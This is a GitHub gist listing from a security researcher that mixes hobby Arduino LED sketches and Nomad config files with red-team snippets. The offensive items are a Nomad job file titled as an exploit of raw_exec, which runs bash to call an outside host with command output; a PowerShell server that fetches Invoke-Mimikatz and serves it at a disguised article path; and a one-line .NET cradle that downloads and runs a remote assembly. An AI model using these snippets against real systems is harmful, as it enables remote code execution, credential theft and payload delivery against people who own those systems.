Skip to content

Instantly share code, notes, and snippets.

View carnal0wnage's full-sized avatar

Chris Gates carnal0wnage

View GitHub Profile
@carnal0wnage
carnal0wnage / sploit_service.hcl
Created December 18, 2018 16:22
hcl file that exploits nomad raw_exec
job "sploit_service" {
datacenters = ["dc1"]
group "sploit" {
task "shello" {
driver = "raw_exec"
config {
command = "/bin/bash"
args = ["-c", "wget http://10.0.0.8:8000/?foo=`which nc`"]
}
@carnal0wnage
carnal0wnage / client2.hcl
Created December 18, 2018 16:08
simple client config for nomad
# Increase log verbosity
log_level = "DEBUG"
# Setup data dir
data_dir = "/tmp/client2"
# Give the agent a unique name. Defaults to hostname
name = "client2"
# Enable the client
@carnal0wnage
carnal0wnage / client1.hcl
Created December 18, 2018 16:07
simple client config for nomad
# Increase log verbosity
log_level = "DEBUG"
# Setup data dir
data_dir = "/tmp/client1"
# Give the agent a unique name. Defaults to hostname
name = "client1"
# Enable the client
@carnal0wnage
carnal0wnage / server.hcl
Created December 18, 2018 16:06
simple nomad server.hcl file
# Increase log verbosity
log_level = "DEBUG"
# Setup data dir
data_dir = "/tmp/server1"
# Enable the server
server {
enabled = true
@carnal0wnage
carnal0wnage / stranger_things.ino
Last active September 4, 2018 22:01
stranger_things.ino
#include "FastLED.h"
#define NUM_LEDS 100
#define COLOR_ORDER RGB
CRGB leds[NUM_LEDS];
//I have a few additional integers in here from different tests.
int y = 1;
int z = 0;
int w = 5;
int i = 20;
@carnal0wnage
carnal0wnage / stranger_things_lights_refs.txt
Last active September 4, 2018 22:00
stranger things LED lights refs
https://www.doityourselfchristmas.com/wiki/index.php?title=Pixel_Wiring_Colors#WS2811
#best arduino code for making the WriteWord magic happen
https://www.woodlandmanufacturing.com/articles/news/how-to-make-a-stranger-things-alphabet-sign-with-lights-code/
https://github.com/djhazee/strangerlights/blob/master/strangerlights.py
https://imgur.com/gallery/RCJyA
https://www.instructables.com/id/Arduino-Based-Stranger-Things-Lights/
@carnal0wnage
carnal0wnage / tor_shennigans.py
Created August 25, 2018 23:40
code to roll tor IPs
import torrequest
import stem.connection
from stem.connection import connect
from torrequest import TorRequest
# Choose a proxy port, a control port, and a password.
# Defaults are 9050, 9051, and None respectively.
# If there is already a Tor process listening the specified
@carnal0wnage
carnal0wnage / gist:f7bf4fb559b8e23f159ce42b67dbf3ba
Last active August 25, 2018 21:57
WS2811 FastLED basic does this shit work sketch
#include "FastLED.h"
#define NUM_LEDS 50
CRGB leds[NUM_LEDS];
static byte initialHue = 0;
byte changeInHue = 255 / NUM_LEDS;
void setup() { FastLED.addLeds<WS2811, 6>(leds, NUM_LEDS); }
void loop() {
//leds[0] = CRGB::Green; FastLED.show(); delay(300);
@carnal0wnage
carnal0wnage / server.ps1
Created June 21, 2018 02:11 — forked from cobbr/server.ps1
Dirty PowerShell Webserver
$mk = (new-object net.webclient).downloadstring("https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1")
$Hso = New-Object Net.HttpListener
$Hso.Prefixes.Add("http://+:8080/")
$Hso.Start()
While ($Hso.IsListening) {
$HC = $Hso.GetContext()
$HRes = $HC.Response
$HRes.Headers.Add("Content-Type","text/plain")
If (($HC.Request).RawUrl -eq '/home/news/a/21/article.html') {
$Buf = [Text.Encoding]::UTF8.GetBytes($mk)
@carnal0wnage
carnal0wnage / DotnetAssemblyDownloadCradle.cs
Created June 21, 2018 02:10 — forked from cobbr/DotnetAssemblyDownloadCradle.cs
A download cradle for .NET assemblies.
public class Program { public static void Main(string[] args) { System.Reflection.Assembly.Load(new System.Net.WebClient().DownloadData(args[0])).GetTypes()[0].GetMethods()[0].Invoke(0, null); } }